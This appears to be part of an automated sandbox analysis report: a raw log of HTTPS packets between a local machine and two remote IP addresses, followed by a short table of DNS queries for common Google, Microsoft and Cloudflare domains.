Nov 25, 2024 16:22:20.348746061 CET	49966	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.348752975 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.501130104 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.502007008 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.502027035 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.502573013 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.502578974 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.548768997 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.549743891 CET	49969	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.549761057 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.550379038 CET	49969	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.550381899 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.696420908 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.697206974 CET	49967	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.697237968 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.697757006 CET	49967	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.697763920 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.800415993 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.803575993 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.804404020 CET	49966	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.816149950 CET	49966	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.816179037 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.816190958 CET	49966	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.816198111 CET	443	49966	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.820189953 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.820226908 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.820302010 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.820455074 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.820466995 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.936136007 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.939265013 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.939310074 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.939336061 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.939368963 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.939423084 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.939444065 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.939456940 CET	49968	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.939462900 CET	443	49968	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.943001032 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.943061113 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.943169117 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.943342924 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.943362951 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.994607925 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.997639894 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.997860909 CET	49969	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.998065948 CET	49969	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.998084068 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:20.998092890 CET	49969	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:20.998100042 CET	443	49969	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.001269102 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.001319885 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.001411915 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.001562119 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.001578093 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.131962061 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.135099888 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.135973930 CET	49967	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.135974884 CET	49967	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.139714956 CET	49967	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.139714956 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.139750004 CET	443	49967	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.139772892 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.139862061 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.140054941 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.140068054 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.301863909 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.302716017 CET	49970	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.302738905 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.303193092 CET	49970	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.303198099 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.769102097 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.772351980 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.772463083 CET	49970	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.772571087 CET	49970	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.772572041 CET	49970	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.772619009 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.772645950 CET	443	49970	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.775964975 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.776009083 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:21.776103973 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.776252985 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:21.776263952 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:22.613022089 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:22.613729954 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:22.613766909 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:22.614293098 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:22.614308119 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:22.670450926 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:22.671262980 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:22.671299934 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:22.671703100 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:22.671714067 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:22.761332989 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:22.762109041 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:22.762126923 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:22.762550116 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:22.762554884 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.015237093 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.015928030 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.015964985 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.016458988 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.016470909 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.055671930 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.059499979 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.059705973 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.059792995 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.059844971 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.059875965 CET	49971	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.059894085 CET	443	49971	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.063296080 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.063352108 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.063566923 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.063596010 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.063601971 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.106463909 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.109656096 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.109705925 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.109755993 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.109796047 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.109874964 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.109904051 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.109920979 CET	49972	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.109929085 CET	443	49972	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.113135099 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.113178968 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.113256931 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.113411903 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.113425970 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.200031996 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.203253984 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.203475952 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.203594923 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.203620911 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.203633070 CET	49973	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.203638077 CET	443	49973	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.207288027 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.207329035 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.207437038 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.207618952 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.207633018 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.469676971 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.473242044 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.473294020 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.473299980 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.473356009 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.473403931 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.473431110 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.473447084 CET	49974	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.473454952 CET	443	49974	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.477073908 CET	49979	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.477118015 CET	443	49979	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.477185011 CET	49979	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.477541924 CET	49979	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.477552891 CET	443	49979	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.644752026 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.645458937 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.645487070 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:23.645956039 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:23.645962954 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.098205090 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.101349115 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.101408958 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:24.101448059 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:24.101465940 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.101475954 CET	49975	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:24.101481915 CET	443	49975	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.105253935 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:24.105297089 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.105370045 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:24.105583906 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:24.105597019 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.848630905 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.849078894 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:24.849087000 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.849551916 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:24.849555969 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.956129074 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.956965923 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:24.956984043 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.957406998 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:24.957413912 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.959780931 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.960140944 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:24.960155964 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:24.960681915 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:24.960686922 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.294286013 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.294800997 CET	443	49979	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.295331955 CET	49979	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.295365095 CET	443	49979	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.295784950 CET	49979	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.295792103 CET	443	49979	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.297404051 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.297463894 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.297489882 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.297558069 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.297624111 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.297640085 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.297652006 CET	49976	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.297657013 CET	443	49976	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.300450087 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.300486088 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.300575972 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.300767899 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.300784111 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.390516996 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.393712997 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.393759012 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.393881083 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.393881083 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.393923998 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.393923998 CET	49978	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.393946886 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.393958092 CET	443	49978	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.396639109 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.396753073 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.396859884 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.397069931 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.397103071 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.410001993 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.411237001 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.411299944 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.411470890 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.411470890 CET	49977	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.411488056 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.411498070 CET	443	49977	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.413615942 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.413655996 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.413722992 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.413902998 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.413914919 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.741432905 CET	443	49979	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.744962931 CET	443	49979	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.745031118 CET	49979	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.745074034 CET	49979	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.745090008 CET	443	49979	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.745102882 CET	49979	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.745107889 CET	443	49979	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.747819901 CET	49984	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.747859001 CET	443	49984	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:25.747926950 CET	49984	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.748068094 CET	49984	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:25.748085976 CET	443	49984	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:26.071595907 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:26.072345018 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:26.072410107 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:26.072899103 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:26.072915077 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:26.538307905 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:26.541271925 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:26.541388035 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:26.541606903 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:26.541606903 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:26.541608095 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:26.544230938 CET	49985	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:26.544301987 CET	443	49985	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:26.544403076 CET	49985	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:26.544605970 CET	49985	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:26.544639111 CET	443	49985	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:26.852617025 CET	49980	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:26.852680922 CET	443	49980	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.023109913 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.025002956 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.025021076 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.025450945 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.025458097 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.147890091 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.150782108 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.150794983 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.151531935 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.151536942 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.250286102 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.250749111 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.250792027 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.251461983 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.251467943 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.458950043 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.462094069 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.462188005 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.462543011 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.462558031 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.462569952 CET	49981	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.462574959 CET	443	49981	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.466594934 CET	49987	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.466696024 CET	443	49987	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.466792107 CET	49987	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.467044115 CET	49987	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.467081070 CET	443	49987	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.543179035 CET	443	49984	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.543714046 CET	49984	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.543725014 CET	443	49984	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.544222116 CET	49984	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.544230938 CET	443	49984	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.583365917 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.583440065 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.583493948 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.583709002 CET	49983	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.583720922 CET	443	49983	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.587251902 CET	49988	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.587343931 CET	443	49988	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.587436914 CET	49988	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.587670088 CET	49988	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.587703943 CET	443	49988	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.704880953 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.708303928 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.708395958 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.708457947 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.708492041 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.708513021 CET	49982	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.708522081 CET	443	49982	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.711677074 CET	49989	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.711714983 CET	443	49989	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.711823940 CET	49989	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.712399960 CET	49989	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:27.712413073 CET	443	49989	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:27.733758926 CET	49816	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:22:27.733777046 CET	443	49816	162.159.61.3	192.168.2.5
Nov 25, 2024 16:22:27.733923912 CET	49815	443	192.168.2.5	162.159.61.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 16:21:17.758239985 CET	192.168.2.5	1.1.1.1	0x84b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:17.758490086 CET	192.168.2.5	1.1.1.1	0xc6de	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 25, 2024 16:21:28.443797112 CET	192.168.2.5	1.1.1.1	0x97e4	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:28.444287062 CET	192.168.2.5	1.1.1.1	0xcc7b	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 25, 2024 16:21:30.750248909 CET	192.168.2.5	1.1.1.1	0x845e	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:30.750449896 CET	192.168.2.5	1.1.1.1	0xe8ce	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 25, 2024 16:21:31.436942101 CET	192.168.2.5	1.1.1.1	0xd2ab	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:31.437177896 CET	192.168.2.5	1.1.1.1	0x9800	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 25, 2024 16:21:32.564177036 CET	192.168.2.5	1.1.1.1	0x2117	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 16:21:32.564532042 CET	192.168.2.5	1.1.1.1	0x187d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 16:21:32.565395117 CET	192.168.2.5	1.1.1.1	0x2fbd	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
